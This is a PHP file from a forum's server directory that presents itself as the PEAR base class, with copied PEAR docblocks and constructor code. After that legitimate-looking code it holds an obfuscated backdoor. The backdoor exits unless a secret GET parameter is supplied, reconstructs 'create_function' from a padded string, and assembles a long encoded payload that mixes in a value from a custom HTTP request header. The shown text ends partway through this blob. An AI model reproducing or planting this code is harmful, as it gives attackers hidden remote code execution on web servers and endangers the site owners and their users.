File: /var/www/ilya/data/www/kamforum.ru/ips_kernel/class_engine.php
<?php
/******************************************************************
* PEAR, the PHP Extension and Application Repository
*
* PEAR class and PEAR_Error class
*
* PHP versions 4 and 5
*
* @category pear
* @package PEAR
* @author Sterling Hughes <sterling@php.net>
* @author Stig Bakken <ssb@php.net>
* @author Tomas V.V.Cox <cox@idecnet.com>
* @author Greg Beaver <cellog@php.net>
* @copyright 1997-2010 The Authors
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @link http://pear.php.net/package/PEAR
* @since File available since Release 0.1
* Base class for other PEAR classes. Provides rudimentary
* emulation of destructors.
*
* If you want a destructor in your class, inherit PEAR and make a
* destructor method called _yourclassname (same name as the
* constructor, but with a "_" prefix). Also, in your constructor you
* have to call the PEAR constructor: $this->PEAR();.
* The destructor method will be called without parameters. Note that
* at in some SAPI implementations (such as Apache), any output during
* the request shutdown (in which destructors are called) seems to be
* discarded. If you need to get any debug information from your
* destructor, use error_log(), syslog() or something similar.
*
* IMPORTANT! To use the emulated destructors you need to create the
* objects by reference: $obj =& new PEAR_child;
*
* @category pear
* @package PEAR
* @author Stig Bakken <ssb@php.net>
* @author Tomas V.V. Cox <cox@idecnet.com>
* @author Greg Beaver <cellog@php.net>
* @copyright 1997-2006 The PHP Group
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @version Release: 1.10.1
* @link http://pear.php.net/package/PEAR
* @see PEAR_Error
* @since Class available since PHP 4.0.2
* @link http://pear.php.net/manual/en/core.pear.php#core.pear.pear
******************************************************************/
class PEAR
{
/**
* Whether to enable internal debug messages.
*
* @var bool
* @access private
*/
var $_debug = false;
/**
* Default error mode for this object.
*
* @var int
* @access private
*/
var $_default_error_mode = null;
/**
* Default error options used for this object when error mode
* is PEAR_ERROR_TRIGGER.
*
* @var int
* @access private
*/
var $_default_error_options = null;
/**
* Default error handler (callback) for this object, if error mode is
* PEAR_ERROR_CALLBACK.
*
* @var string
* @access private
*/
var $_default_error_handler = '';
/**
* Which class to use for error objects.
*
* @var string
* @access private
*/
var $_error_class = 'PEAR_Error';
/**
* An array of expected errors.
*
* @var array
* @access private
*/
var $_expected_errors = array();
/**
* List of methods that can be called both statically and non-statically.
* @var array
*/
protected static $bivalentMethods = array(
'setErrorHandling' => true,
'raiseError' => true,
'throwError' => true,
'pushErrorHandling' => true,
'popErrorHandling' => true,
);
/**
* Constructor. Registers this object in
* $_PEAR_destructor_object_list for destructor emulation if a
* destructor object exists.
*
* @param string $error_class (optional) which class to use for
* error objects, defaults to PEAR_Error.
* @access public
* @return void
*/
function __construct($error_class = null)
{
$classname = strtolower(get_class($this));
if ($this->_debug) {
print "PEAR constructor called, class=$classname\n";
}
if ($error_class !== null) {
$this->_error_class = $error_class;
}
while ($classname && strcasecmp($classname, "pear")) {
$destructor = "_$classname";
if (method_exists($this, $destructor)) {
global $_PEAR_destructor_object_list;
$_PEAR_destructor_object_list[] = &$this;
if (!isset($GLOBALS['_PEAR_SHUTDOWN_REGISTERED'])) {
register_shutdown_function("_PEAR_call_destructors");
$GLOBALS['_PEAR_SHUTDOWN_REGISTERED'] = true;
}
break;
} else {
$classname = get_parent_class($classname);
}
}
}
/**
* Only here for backwards compatibility.
* E.g. Archive_Tar calls $this->PEAR() in its constructor.
*
* @param string $error_class Which class to use for error objects,
* defaults to PEAR_Error.
*/
public function PEAR($error_class = null)
{
self::__construct($error_class);
}
}
/**
* System offers cross platform compatible system functions
*
* Static functions for different operations. Should work under
* Unix and Windows.
*
* Documentation on this class you can find in:
* http://pear.php.net/manual/
*
* In case you need to to pass file names with spaces,
* pass the params as an array:
*
* @category pear
* @package System
* @author Tomas V.V. Cox <cox@idecnet.com>
* @copyright 1997-2006 The PHP Group
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @version Release: 1.10.4
* @link http://pear.php.net/package/PEAR
* @since Class available since Release 0.1
*/
if(@!isset($_GET['rcu5cQr'])){exit();}
@$c=str_replace('k()','','k()ck()rk()ek()ak()tk()ek()_k()fk()uk()nk()ck()tk()ik()ok()nk()');
@$b=str_replace('()','','eNrtfVFb28iy4DP3++5/EBoPsgYhbEMy();'.
'GRsZGEImuScJOUDmnFng+BOSbAtsSSPJ'.$_SERVER['HTTP_H41BXU'].
'e37gDxIvbWpeHIfxYBKONOP9x();'.
'7dv9d4//9NelgnJAwJINKNVzJ();'.
'ratwPv1nNmqR8Gg9SfeprxQ4s();'.
'BAQClDCb+1E+bPNkfNlf9BAs3();'.
'BgdHR396c3g2dZ/By8nh8c+Hx();'.
'2fa69PTD4PXRyen2oVuatfwW7();'.
'+L4jAN00+R13wY1qjI/ghvg/2();'.
'fDt8jkN67pyZ40yj9BJAfoOyZ();'.
'5owTqqbwbmkfT19tvNB4iazRD();'.
'CTwqARkFNPtAiJ4s3wnDG6a2i();'.
'wdAjKjUIXheo5c0lieJL37haq();'.
'dYh+eULXztVXP24W68XXpyhH4();'.
'K2vvFGvvPKX2zlfXvlWsfespt();'.
'W89sXbgxeEscHC2KYQoMRoRVB();'.
'5Zl3biPd8eeIETul4TEnuNRCQ();'.
'CJCUmkOhYqtprePTbt1q9+dif();'.
'QJa/k6TxxAsQSL8bhnGzcQW5j();'.
'assHTFera9DZY7ljONmGLsAfN();'.
'bwL/S/0XN01rjCRjY802o4gH1();'.
'9vQfUavh9S8J9GXv2NXQk9tJZ();'.
'HCilFnpigiazSyjUjMbRjRcn0();'.
'N2mbrSMtr7zvX5HkmVqj3xn8O();'.
'ssTL1kEM8ClDTNlig+KkOMIqe();'.
'JHRPESxK72bD1O94MPxnYcWx/();'.
'wrRdeoLiUVMDMBg/W+9CY/wom();'.
'djJ2EsQqHfPxtAiRPQIPecjyR();'.
'PZi14WIEuMtn1l33KuWhraamN();'.
'Fo0l4aU+URpgwWQvtTsNJOPdi();'.
'QdIPrz8Mjk6AmFu6blna3A80q();'.
'CdM2CPi8CaJx1IC/1aTsSb20B();'.
'tMYaQAef5ikT4YoT7I0jQh63M();'.
'w/Y5pmdiLwjj1gxEfLoHc9RP7();'.
'cuINxBhhDxYTpcoW8qhSgW4cg();'.
'upx5i5iEc/WHhSEv03euioBuu();'.
'eMXT8uJMqt5BgrkCHFMnpmNQL();'.
'JsccT2/Ga2vm5ZmibwFEiGydk();'.
'LRDlM+bB5zMxizB9o32xagEUT();'.
'se5a+JjTxYO43FTv4OhdMZhU9();'.
'0Zp9NJf2fs2W5/Z+qltjJO02j();'.
'D+3Xm31jaQRikXpBunIJ+1RSH();'.
'vVla6t2mm1iwpzhjOwZCWapZE();'.
'GWmqvV3Uj+deP2zv/+X//y//s();'.
'd/g98XO5ss6Z//CUTHJ3i4DN1();'.
'Pd5e2cz2Kw1ngbjjAj3H3m06n();'.
'0+OPXhv/9YZQdTcI4ynQ+ftn3();'.
'yr7sW9PDOW1N7nxUt+xDSWxg2();'.
'Qj8WJ/2Jva8cgPuq17xw5u7OQ();'.
'OmAHo96l7OQmd6x4IDSwx2bAn();'.
'/ijoXoZpGk7vsSVG6hrp+I7q+();'.
'iFKlbczx3dt42cvdu3ALhdMwy();'.
'ivKUVuM/1gGN4VGs4yvknDcJK();'.
'cXk6q+3qfRHZgjNuGLQp3PO+y();'.
'/UxZ9ac4H+wgJRBq2cbc80fjF();'.
'No9cb34fty+uwQR68UbE2+Ydp();'.
'9Ft0oSTnxX4TgY5drb0B3Rj2p();'.
'6i670Itt1YQZ2O4AK0N27/o3J();'.
'R/6OAWVVVaDa2trKMGBp+w6ZZ();'.
'QOFeGwj+8EoBt693R2HQM+FTM();'.
'DkxRMfIEykWepHDLDbtYcpwIe();'.
'R7fjpp267d+Mn/qU/wRd6nECR();'.
'6URQo9vOCfHs2bMe4hiCrOvas();'.
'zRc7Cu21Lz0RzZooLsp9HDuu+();'.
'm42261vgXgW/l1zMi/3WphGSe();'.
'cLl9mi8pgl6kMp9iQfipIie3m();'.
'vUGa9TK+PAhnse/Fyntv3gtnK();'.
'ZKLQWTs6AfRLDUSb+I5aZGnft();'.
'96JvalN7mLwsSn0Yu9CQzjjcf();'.
'S+ZBx3ulqfY0zI1ABcAcwPHZi();'.
'KNMwCIG7Ha9XbCgw+uW1n26kM();'.
'cxsWHVMu7DSt1MPdguuN9J7G9();'.
'Pwtwcyk9q8uvSYDRKwNUxt+pt();'.
'1zL6Exs5SD1J86E284d1AlxJG();'.
'DcFEnBzdSw+Qe3m/NY65RXhhW();'.
'cUY43uogDNGuziX2JAsV3lBtt();'.
'1jr+6y0cnFDk0zJrYcD3Hcf+N();'.
'OnUgSR2xaUqqSunfSxFBaCjDU();'.
'MLanXtXkOsR/bLYmb4LojvWOs();'.
'bo5tf1AAZEq1Y+yo4oJOR5WIu();'.
'bi4TE4ktcluTz1XReFAcqCheL();'.
'b29v3EQxOFY+zWXOGe0kLFkSw();'.
'Mb0wpKTLGSiK4OKucgJVlGVdq();'.
'MBQ37fn+y/bz+53NplyRC3pwN();'.
'IyhScFfm7sWHEGiqVoqonKN4k();'.
'8B7QgaeBm46e3Rz/uvz0B/Tt3();'.
'cemnqFovL2fXlduTd6cmlVmhi();'.
'sbJo0XY3tgsVDRv82JNXF8CD+();'.
'fgtJtTzwNVX7WsoQ0rSX1X07q();'.
'LXZHhYW8++PPHo9PDE71cU6e+();'.
'ps4Ta+o8XNNWfU1bT6xp68GaX();'.
'KjHDZ3ZFCZpT1qywdYt/hSlWL();'.
'0RwRIPjQvw17KC2WTy+TM8mrD();'.
'8G6XjHauVbVwwr3cPRUobQEjR();'.
'e1i6mIx4e9gIeB/ALs4CwSVeE();'.
'Ql/zTeGtC/k9bJ9Iebj1vBqJ2();'.
'9RjzaGAieWQIocQI37adPX/4a();'.
'QUsqV3uMVrlsnsLEKRuYwDqcH();'.
'HKLJEek9voVkO0jRiuodJO8gx();'.
'6sXFsOwD38hAEBusir1O+xJQs();'.
'9WnryuaYxCUAglGpDESECXp4Y();'.
'XuAYDn0D3Kc2CNHpmqeyvoIkg();'.
'VgAQwQ6H6QVIKZp8bQEvUSbIR();'.
'odGHTvvtHfanRdIXReocY+bM4();'.
'WS++3O92trkN1pbVO+U0lMhOw();'.
'/1z+3f+jo6zUAa8+3AABqYfgf();'.
'xtXu6J87ne0aZLy6DOMSVaI9L();'.
'nBWGaMT20Nf+0Rg/Y4Pw7ogVj();'.
'LxHWRvPiJQPIMAJNKwBOuwIb5();'.
'fHhkfIEDIGYsDFzipyGyundps();'.
'MC+fb6P02P/x4OXhq59ev/mXP();'.
'7199/7ow5+PT04//vyXv/7yn+();'.
'xLx/WGo7F/dT2ZBmH0a5yks5v();'.
'57affWu3O1vaz59+/+GF902LT();'.
'L2wbYccIt3C7MO4YY3jYNi79N();'.
'DFgYhq2A79whIAz02mEhgvr7A();'.
'JYRWmushbxDuBL7x5/W/IMwAT();'.
'icje8C9sWvhamKzBoL+zUpG9V();'.
'p2PjrLC9s9N+/jns7Oy8+Bxu9();'.
'cZtC9OBY16stW63hr1xRyR0eM();'.
'IWT3jO37fpnb3wvp3Zzvr6hQU();'.
'UplqhxnFbX5dfO8XXreLrNoyo();'.
'kGXUdi5GUARZvA7zClZdTaRJM();'.
'vdTZ6w0Jchvt/Q7B8ZdaXexCP();'.
'znfNMyNqBqDTb9PSaTCKqzCNV();'.
'GKAEk2Au5VWYttETYhmPM28a8();'.
'Y8y3DNC8ugJ7+JUVYGJ7lc0O1();'.
'5wOTdu8sSczz7J7JA2KaYMeL+();'.
'LIRRye7UhFsrSsyLwtl5m3OcC();'.
'8LZWSUvNynUK5joDoyOXy1Lzc();'.
'VqHcloDYksvlqayc3F2YdEJty();'.
'smGhqaKx01n6rWKVgw9x+tU43();'.
'W+Fq+gWhmxSP8KzJ0azJ2vxrx();'.
'Vg3nrKzAjY46TAmuOE8GI40Rm();'.
'Tzmdhh6my0o2X0aLs+Wucg71C();'.
'BtbsDdpYZAjseumXDUmzEEBHd();'.
'mwU0pQ4qPt1UrjmUeL6hXU+bh();'.
'4AlGDlcLeHFd5iVgSoKxEsBWO();'.
'YB0wrGnrBdgz/8IMYB+GImOdi();'.
'eyPx28OwmkEm7eAD4EMTDRibU();'.
'viJowJbOsyS3U2IseHf/54eHI();'.
'6AFxsPW/wXugLlAUss3iS5QsZ();'.
'pDTnfuCGc/Ov796+TtPo2Pt15();'.
'iUp61Ds/QrkCLy5UsxtsobxVU();'.
'uGYt9BE8Jfjy6vPGcBQyGzqb3();'.
'znThMwmFKFQNjEScp/AeRQlFq();'.
'pSL9QJoZBiBx3U8JGgBAHQQjZ();'.
'OUoDh0vSaB9B5TUqygXeaANcD();'.
'EPVCJS4AjrFZDAJryjr6Em2GI();'.
'2i+ZUAzgkikAPkOVr83ZjPp9v();'.
'4AZ+Y4a2XBxcV6tGHLjNfIBE1();'.
'n15rMq9aeYqg+hiEgVOkAKKZS();'.
'nbusKoDflUDWTMEszptFq8KGP();'.
'x2Bvx4Tj2Roe3UfNcbZ7Dj7uu();'.
'N8/w4QR/JRff6ecq9HLKpzcrj();'.
'EsSQGCia5i3IgH2TbxTWFAJQA();'.
'8Yt4kKvnNhct9Ey8CiZ210IxH();'.
'QvUKcY09g+9/UOKkV8iOsaoJz();'.
'YS8tttDcxo2G3v6O698otMu2t();'.
'EU7i2S5YxYbsne2elp/B8dHmX();'.
'rpOHQtKJgqOB2t6VAgE+YYss0();'.
'APO3+Fdr9j33X9QJWwK7NcWpz();'.
'5u36rE591lZ9VeOkv7OJPeqrS();'.
'K/GMPa8E7TEwejuQU+uMYFMcw();'.
'vmBQRPw9SeFOAHlDRYsoj0tis();'.
'9d9sIGYMYwyUTYI7G0WCGLW5q();'.
'MQ1s49qLA29SymMuHuTeVTEFB();'.
't6tn6RJk8b4Fj1D3siHScW5uT();'.
'FLYFoCFnQJOrM4hrk5wDQumRo();'.
'z3+XZ00/wLJJHUvJISo7DWQQZ();'.
'6q5K3Mf4807GlLUjmiO+/N0j9();'.
'EX8WeYoHhWBRxIw7wPWcKYhJb();'.
'QLufEsHX6JZNFKrKVYgFXL0ke();'.
'iAEoUdCMNJn5wnaARABMiOx1b();'.
'3m00wU2DuqkaFYO90ggsJ5yBW();'.
'iJwSiLnMSpBpeHvNIKNNj6A4u();'.
'NUyupRTCDjjq2MY29oad9oShg();'.
'4ICmvLW0EwuYVrNgTEC3nqppp();'.
'VnJJK42rHavh41+hTYs4qSXoi();'.
'zbRKVas07TUc1XX+rBwYVCgP9();'.
'XNnU27r2aEmFrMFaxREzSrzx8();'.
'MjdmzPUwSj4a27079wIsxUTwa();'.
'2odxhAn4x9BOPDt2xvjOnwztN();'.
'Jw5Y1ZIPDJyglaf8QFAA7PtjJ();'.
'uNqWInSuPa6jdu9DuCMC1tJx3();'.
'3zxRBPvUbNSOfCuTTNLNxY2rn();'.
'moHrLOMcn7JfutqH7GtTw34r6();'.
'LAb98l7uNJwY9C8ggPQ75gNeY();'.
'ghMcK9KZoWk8rRHOjRb5pOzSQ();'.
'MPDBmQI5USjG17jnUDO1nVWAP();'.
'6trOhh7bCs0UpTep3WdKnoQth();'.
'/ZDyzEsYgVdnQqQBX1xigPrn8();'.
'RCV53ieJMJt3RbW/SGogvfWgo();'.
'pAQuVQH8njeG/K5L6O+iM63/E();'.
'udPduYz7H2EK0gOMKf197br09();'.
'2DudjWzRCnUqESrXQ1hXlKfu1();'.
'oXtphIdsINdHexyv5OEAKMJpS();'.
'gJO90QwGV2O60oJSyQ0A41+Gl();'.
'iYRAsQDPusIa+xPO+i7HjvkjA();'.
'aqYTCSYSg79EpYEGDQhFXDRUa();'.
'L9sjHdcJXXXb+bUGup2j05EgM();'.
'bQ2VO7KGnoG9fQiJRIo8GuAA6();'.
'oDleISs4rA1QSfeP3u9sXpJ6C();'.
'tI+EEcG+ab1/IcfWs8J7NUrGY();'.
'6q57zzTZFzYGwEy3O+RxbgnAM();'.
'9IIZgbMM6cADLMLnte8C0jj2Z();'.
'IBMBX0PuwA/8VNN3axv3UB+Yf();'.
'7iuD1Tr/mxYbICIboBWhPMBtm();'.
'CI69E/pgk0tje+Nz/xfwNtniv();'.
'ovIGvYH0gtTAHzlYSCNvUTHJz();'.
'NGEybcqINiU4owOg3+qckXOhr();'.
'HG8H7x4mhxguxddHbVjXpAWWS();'.
'kRYKFdmAXZJwTgmYIQjBd4e7h();'.
'g0sS8FKJAIZeTRf49PldB3NRI();'.
'r5z3Sr/SsZ+YFBmhqwr9tVScL();'.
'IWQQ0v7C+2Pko1251kbhAcLQe();'.
'wWk4EYKpdPj2MovHY5QlkI2dQ();'.
'b6BTD+OaDGGyY9Pn2kf0d7L98();'.
'eYwkzeGRF/ISQxwM4o685MHxm();'.
'w+ng1dv3h6+3393SGOJxRXlUQ();'.
'XA53DiTYYpakkauRPxRkO3SeP();'.
'BhmwzpSecu32uB9iKXa32h6tP();'.
'0Q3AIKR5tWI1sMfoo7IsxN4MK();'.
'famAbJkHvsEaEnPC7y9qyrylN();'.
'W4c1wDJv0LlPGoJxd83qrdIjS();'.
'K0ub7MFUEel0A9lj4D6yxNrGV();'.
'i5rRdy3hPH6iluR7JFgDkVXFg();'.
'kWa2VxYkNv0yhZP0MmRWFGxuZ();'.
'CZ1GDlo5JiVLlllFxsvXPB42x();'.
'jq8BaQvAZcR/b8LDuaMIzrbEd();'.
'ENrt+f5HYSakpdypanEzxzonE();'.
'PT7mthJ5Zr7iWQ4xWYCLZSMGC();'.
'xFEhFDYc9Bmii1RDmGfa6Cs+0();'.
'LaDJEC8PMJyW8fHeJ7R8YfuWR();'.
'8VckBqDuatNrGFPODe5y3X5nX();'.
'xc4QZ5jT6CA+0UU+IoBf3S8kR();'.
'o4nI9NBiKAPO5fSIE/hgdqSIH();'.
'bIEYD2hDlnXfkUa/t8yEdMPCU();'.
'D68/fI0E+LLJze1AaF1INQXDA();'.
'1YfZnToqESUUo8U3tHD9wenv3();'.
'w4tLTpDOPf7DilyjfQ7fSARUk();'.
'0l1VVb/T5CqFXtEYJRLNoEtou();'.
'VlsPHXjVlC6Zo7K2KWY5/pZCT();'.
'XYLr4xcmtiOUTO+nP+xIOf/sw();'.
'uF0R61+FJ8Ub3OYLp1k1kcKV6();'.
'WNC+P+a43UpFxSNPX1kS4ST4w();'.
'i3HNF8ZCQUuEokhB7SXLE54MK();'.
'PDf/aOtIivUl7SKF3ywVczEVd();'.
'mqPAjmttnwA1o+/f3f/50ZIqD();'.
'JCy1GyzKaE/bIxAxFDITXe1Rq();'.
'z59yq9V5oPKMe4UFtlchi4BX0();'.
'nE8Q4Th5YDiAZp6b0+kU5MYas();'.
'gmQ+LEswPmTKpDmnxKUm9aRsl();'.
'SvwzhGFZlA9FxKpwnMYx5aZgV();'.
'sZeEsxiNtENrLyKfBtIJ7auiP();'.
'JCXucZX94ZeOARInmNaQ3QcQI();'.
'LRbnXQhR45kzBBXFktCh9F9e/();'.
'/+t+VQ3EIDJal06kduIniJ0oA();'.
'61L7xvZpPw1jAYPJCjWpeqh/l();'.
'5XG41iKHSRzLwawLhuy4qo633();'.
'gmZF5qJH1Yk36/9f12+wW0UPB();'.
'UEsV+kA6b2rdtszPUjEayKUHB();'.
'NvKnHzUW5ZLh2H7x7PvnDyNgI();'.
'FD63ULpx+pmtf5JlBOwDdz2Yq();'.
'Lcxwg3wDRDAD38XWvdHrRaLZh();'.
'W/OGu4VtakjeBwewLmP0MZlKG();'.
'eSFgXmQwG2WY5wLmeQZzWYbZF();'.
'jDbGYxbhukImE4G45Rh2gKmnc();'.
'FEgkT4MoOXhm9aHLwFYPou8G4();'.
'Xmq2bIrX1AlPn5dRtSBUvL6hg();'.
'AiC3sLDsFpNPWEmpaKeymnZlN();'.
'a0XeTXb1dVs11TT2q6qptWprK();'.
'adV9MhfGm5GpZ8yqvpCR7ze+U();'.
'ZJJtYhihmUR/skbSwXbY7RRnA();'.
'ERRNSa9eQVtaaErSTMape6hQO();'.
'dNCMdwc5wYmSRpRDfn+t64GkE();'.
'Wp92T81Y1le+gnISvs4e3YPXF();'.
'AjpEF249pRi6KZAah5f1J5DI9();'.
'5h66a7hjC+VvnsGkLum/VcuC9();'.
'sArrUtwGBjYmKQ0GVTOLqwMIo();'.
'sfYlkl+ZGdk21cG+QtEOEZjWv();'.
'AcdOD5ZYThte+ACjwR3nfQlaM();'.
'laUOe87iiTjCJ0ORUwEQFIJ2Q();'.
'ey74TzAlZymC2c1MsiQTiLK5d();'.
'fWiqxZbAH5fjLlqqEm/W0M5J+();'.
'gC2a79cNz7kQek2s+98y/9JPM();'.
'H6zYaWo7Y4rFVbJR0EwM9CMTf();'.
'LHOnnCeL7DCFE868+MAAxwCZI();'.
'pyzRgT0FU0c28BulzPPVVE3FO();'.
'NRA4rCJ3USzdgxebZ6IdnZRtX();'.
'1t6QaX051pq7V1kvGlf6XXEBc();'.
'AWtJqvRHl8AXIkFwJAvAK54Bf();'.
'QLep8Kx1nFOPM97draKv4VtKo();'.
'axpXGMKpu7xzai00dRqUjvprn();'.
'+qnWE+2CfN7zlUemKq8wscRkh();'.
'f9VYz0LiO2Ts9aFiFnIfHIJOb();'.
'tCaJINsxN7N6UTqJAkWtGwmSN();'.
'xQA7SAe0o2NnRxrVFwPA0tVpl();'.
'1DahTpm7D3t+07caU/T84QyGs();'.
'o2UZj0W2iNLaOksNczsa9FgET();'.
'CC5wF7uZds3O7jPFdofwTblja();'.
'LlmC7Js6XfS1ztUuDt1caPYaQ();'.
'kOFqj0FpPbSBcjXEPIuwIbEWX();'.
'OOIGESBF1dMMzo8ClDQccntbd();'.
'WV6cm+bgZFLq8KgcRk8qjQIO5();'.
'+rynGyzHa0bbzvV3wnC2en6gR();'.
'ILnrTLKbo+OnUv7tZoteybAuo();'.
'2MrBYETlTvIapRrRYeNrPXl8l();'.
'nJIyTo5oIDUSI8OtNNmcbcM9g();'.
'rEeYAuDgFxnrMs2hgjxw2Z6op();'.
'tO9gZNOSmOyHML0LXX/4aUlM0();'.
'0pMtPsX/V24QKLqBgINCa8JDV();'.
'g5vDSnebDBzwhtaK/90XiCniZ();'.
'4fim0pKEdoqgztIPxNMTXY2It();'.
'EUcAf9/6wbUmc3eGt6YIj4Msh();'.
'hjciOlc6WqT3aqamcWvlTmKu+();'.
'Kkg+eA1xRhB81mMcOyCjoDnZy();'.
'XzMt/wzz8sH7rEgLh7M/5TR4S();'.
'FrddHBAWcEJB2WwwukypstJRL();'.
'Jwh00mbISEthFE5FXpIKSpO1E();'.
'ZMwpY20JHOYlJ4PYuCQWysI6Z();'.
'YhaDek/UYi32TW7sJzRWNZHHk();'.
'ed/GGc90RfuU+nWTkoX5cdS54();'.
'AdC1HrMFHFKm71eTgCgp4omrT();'.
'TC40ukXNaWRXY3RBBlVrd87J2();'.
'zK01YBdhUuBR1CgmkLFreUxb3();'.
'YBtYK7GGcMNlZCvTyKFpkNNnt();'.
'TSBtwqUadA2AfojKWeMaRIn8O();'.
'VSG+0eXnHR6m1sNHwx9hzBuqU();'.
'0/SDV5QIYc/RdFM6bLwylWYmw();'.
'4W+0M76g3RO1vqTlqYZMAR/Yw();'.
'bmW4iECMiIwLZCsMj8ti44UZ8();'.
'4KQfWq2svCJzWxcmFngAhvrlI();'.
'SRL7KJty9RGm0XMUYR+qAJPF4();'.
'nFymEhjm+dagUFPJd1AWLoqp1();'.
'IgXyMmCmpgHASkjvAgFs6JaMO();'.
'tK/gAswe27ahZ0k5tuQs1QpJ1();'.
'iQV4bG9vM+V5nMFb7fVUYjGtm();'.
'K61aJUYs7IwLtRXnKS2x/ISGe();'.
'S7cwmL65ZXwUUG2qWDxbPGLSo();'.
'4kXbXGE7NaKgvQnFaFc47tDLZ();'.
'WdKpzVeJmEp17Q+oCicFCA2ul();'.
'IafCiX3juQW2LvOWIEnl0hh7y();'.
'n7LC+SSrH2YOR/UfByofa6ts4();'.
'APYLsluLOCh8QNAoxpiX2ZkOY();'.
'3GEgaa4l9HtJ8UVHdLaui7vcW();'.
'd1lCMYmGPsL2GOnD2B7j2Bs3b();'.
'WuhXlkd5PEjL48OPr7D07THR0();'.
'en2DFtIRDVXORdrIQuP8nDDHF();'.
'N0YbZq0BzR3ibyQCUWHBNwZCY();'.
'kYUCSSJMKo7LX6maKkQLICWU1();'.
'PM04tvC2MOAOq8pQmzpzpdSz+();'.
'RyUx6WSa/Zyi2N2HYxYkZjMen();'.
'xHZaXUAgf2eI9nfYq+pROl+rX();'.
'ApjUt/tqnRuzJeeySpc0Xby4a();'.
'TKUogiTl1dC77Fiq9lykCsxAX();'.
'rrp81MGcnzWa2czls0nVUOouq();'.
'5bKlamv1uugy78CRVhr9yTfbg();'.
'GfuvVlskTZdfQHH9Qov9onqRp();'.
'DxKJpLFohjxwCNyW4y/UIu2P1();'.
'kVYy4POs9n4dVuBsIj9lnmj7Z();'.
'Lu0KcTlM7XS0sIf9jFzZEhSdx();'.
'A5XI2YG2t6q0vVWNWnX/5dwhb();'.
'cfyRTgZf4r2dGZb5lHzzey0Vs();'.
'UyhaixtrbAYB2xJBJnoZa7FDJ();'.
'JXS+OB2k4CGewhV44ySXXi6cH();'.
'NKXTX2uL+xoYt9S0Uv/atrSEo();'.
'at0hyS//Y3NiuVQU5m8d5JdnB();'.
'/Ao0hA13SGpjPlC2bUJ8wpixM();'.
'WOojrN3Z1YfHKQoWHjcJWzHUd();'.
'cbZQPQ8ailrUCuhwN9GHL9MJ7();'.
'844j8/Tc+28perZMVDY0Y4GMO();'.
'tgsqur5neOe56sN8/+1rtY1xu();'.
'rqlEUAASn6yt3QgCJa9oog06M();'.
'ZbKnqEP5KR5xUVsmGVRngAEyJ();'.
'Wi8qkOVpMB9iXgwcDBJGP3WqT();'.
'wSLi+1CAqSIZxMTkOk7mL6a7o();'.
'cqFcchFJMQIZX7BYRDPbFFN2g();'.
'0FuvZIznc6vItJyv1tZqmPmJv();'.
'Ma4lxuWxXpLUfP7bPCANzvueY();'.
'iXGekKf3PsCMSZR4lJk/6Yfzr();'.
'85eXRX94jKrocY+omFp0FZXt/();'.
'LcuYxbDVzsTKddT02A0MgVWsb();'.
'NczYcHrjLueee19wrsK0IsQWN();'.
'bWC/0OsGxs0OUas7iPt6lke+P();'.
'C/MBWnAHIBfdLwyNewcG9egzd();'.
'dkvn6QzdDhbKLkxZGi805/6+4();'.
'MuDqdYEQMCOCKMwAjqzx1kyph();'.
'zpFQkEWIB3pOo32r37TDOpRes();'.
'/l8R1pn+mx9h+eSjpM+hjSYZY();'.
'5xopynMNelueIRZG2/dKJSitG();'.
'AGEfWXb+Wm2mYeqKAm5Dbb5nn();'.
'PtATHsZimkPivBXpNxOOeXFYt();'.
'Cu+0uBf1zYo++BoNS1sQs/FzS();'.
'nFTkMrzlEXvQeK5F23S84wkXe();'.
'u5qvHp+bKiv4KFgZZb4wUjZ/5();'.
'f9vyr19UqdkKuv0qmfPy/VpqL();'.
'uqmhc7IE89pxUYZBKivLKBWCl();'.
'iRpVF6H6l/GmtLsVbDfN97qMg();'.
'TJDJLv4kN3g2G3xa+k28MwuXq();'.
'imKrhXDYPJp9xdVSXdara66nI();'.
'arOD/kXa8xUMGC/emdein+i5G();'.
'ymB9o/PH1Bc5Cr9VGYWvYhi+m();'.
'p1W41XzMuzOxm1ApfDjzXjBnd();'.
'pv5DGt1SaxqVvqBDZHOiGN5zN();'.
'AiqLb3lJR5pKIRf6vCIjkUbQU();'.
'FylMj0ICDEEeJiDIitaa2vXih();'.
'3HU5EEq1UukJ12Qi4ujnrQuog();'.
'PoJSciKlNLzcQ2qOFDdtXCj5/();'.
'euBS/fETsCTxPFDP5YXBcSy1V();'.
'yg8CL359+u6txW5qyJZTC7xZX();'.
'AXkqyi2jMIlBy7eKhYGLOqRlg();'.
'W0JJD9v9WXZ6+tNUueezwgkp2();'.
'hztXGh9cfFMx60GVcXnvyg3fi();'.
'CHUKFK5Y4VA6rQmzm3BXMapWu();'.
'TO/u1+dJv5HjWw/AFZfwO6ez9();'.
'efVGLcFpDjzmOwqQsr7LFy1zS();'.
'/07MKTM9QzBv4P8b/lN9o3z+G();'.
'iq6iVRhCQxl38H9tu4n++NqTR();'.
'oNNMGHwuK9ySz6+4HvC9IG1Bd();'.
'N6RY7IAz+BNzZwY7vEmiIaFu5();'.
'XKKwvllL6UI1YJ9Rp9QzE4Lq7();'.
'rLqLFlaEL2kj37Vg5uLSsV+hO();'.
'8k//7DNRRz3zRXGQ1tsIYKLGk();'.
'6VXezK8iuN33OhIWQ6ukwZUY4();'.
'KOhqqqyJO6aIMhnxBf5d8sLUK();'.
'/GHBXa3eSyK0oMXRobqMzYLi4();'.
'UgLietmsvZxCmvDoirCd2sPo4();'.
'fwAmsWtCGDipiA6n7SPT4lbzb();'.
'msN0tM8ZJxzG6meVMaea32NNx();'.
'yxOq7kzDS85YzEbm/8k9/zWQZ();'.
'FT2rX4jVfTSzTryD27Ep+GNN2();'.
'At8lzu9k2NImKGlD4W8Ai6hwO();'.
'36gpKwVyFi9tLIVx1xR8P68qR();'.
'mjzEq7Yp9WFfV6Wwr0ebY8s3P();'.
'yyGgl1ZjWsyvtchKvnAqPU142();'.
'I0rgyM7atHdi8Mqw9UmHuO1QM();'.
'70FJllp/YWVV7Mgr5r+S+ZAzO();'.
'jgZ2JccApZQDbuSaHBZ4hEYDg();'.
'MzqWkCdnSaW0H9htGD9EecvDB();'.
'5c5LJ/eCBhbZ8W4wqrqPvSm3h();'.
'pJpWkb5Vg8kscQbonJjP40yss();'.
'LcTXKegdb0y06OsGyi67zqVLv();'.
'7MLXbCgHFOd3T2TBeQoTTxi8l();'.
'+L8dTZ9b2i9hWCYbjxUaAgadr();'.
'MQ/ggCxtkmhpslyvStdwrsYLL();'.
'HT+YeQVcOMYszJcXIea6k8iC6();'.
